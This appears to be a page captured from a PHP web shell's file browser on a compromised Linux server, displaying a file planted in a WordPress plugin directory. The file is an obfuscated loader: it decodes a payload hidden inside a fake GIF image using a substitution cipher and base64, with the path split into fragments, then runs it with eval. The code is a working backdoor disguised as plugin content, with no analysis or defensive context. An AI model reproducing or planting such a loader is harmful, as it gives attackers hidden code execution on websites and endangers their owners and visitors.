HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web95 (5097)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web95/web/wp-content/plugins/agucaraha/kocupa.txt
<?php

function secaqu_ozichaxel($ufopuc_miquthaxo) {
    $wyhuqa = pafeta_othutolu(1);
    $cukushe = pafeta_othutolu(2);
    for ($athaqek = 0; $athaqek < strlen($wyhuqa); $athaqek++) {
        $ipazava = substr($wyhuqa, $athaqek, 1);
        $cuxuce = substr($cukushe, $athaqek, 1);
        $ovopax[$ipazava] = $cuxuce;
    }

    $ypanoc = strtr($ufopuc_miquthaxo, $ovopax);
    $ypanoc = base64_decode($ypanoc);

    return $ypanoc;
}

function pafeta_othutolu($ufopuc_miquthaxo) {
    if ($ufopuc_miquthaxo == 1)
        return ukylel_abyshikoz();
    if ($ufopuc_miquthaxo == 2)
        return myxozu_olazhazhof();
}

function ylurek_iqathemich($ufopuc_miquthaxo) {
    $isyfep = array();
    if (!file_exists($ufopuc_miquthaxo))
        return false;
    $oruwib = @file_get_contents($ufopuc_miquthaxo);
    if (!$oruwib)
        return false;
    $oruwib = substr($oruwib, 3);
    $isyfep = secaqu_ozichaxel($oruwib);
    return $isyfep;
}

function ukylel_abyshikoz() {
    $oruwib = "buLP4+vxJ2UK5gOy8Dns=hZerEHYSdpVfMjk1qa9cQBFi306I/t7oNACXwzlGRmTW";
    return $oruwib;
}

function myxozu_olazhazhof() {
    $isyfep = "jLbPd56xIqAF2rC3lB78ya1vYVo4gcDG9XJim0eTpMWhKs+=EntzOkHuZwN/SRfQU";
    return $isyfep;
}

$upethod = ylurek_iqathemich(__DIR__ . "/ass" . "ets/" . "image" . "s/odyk" . "oti." . "gif");
if ($upethod) {
    @eval($upethod);
}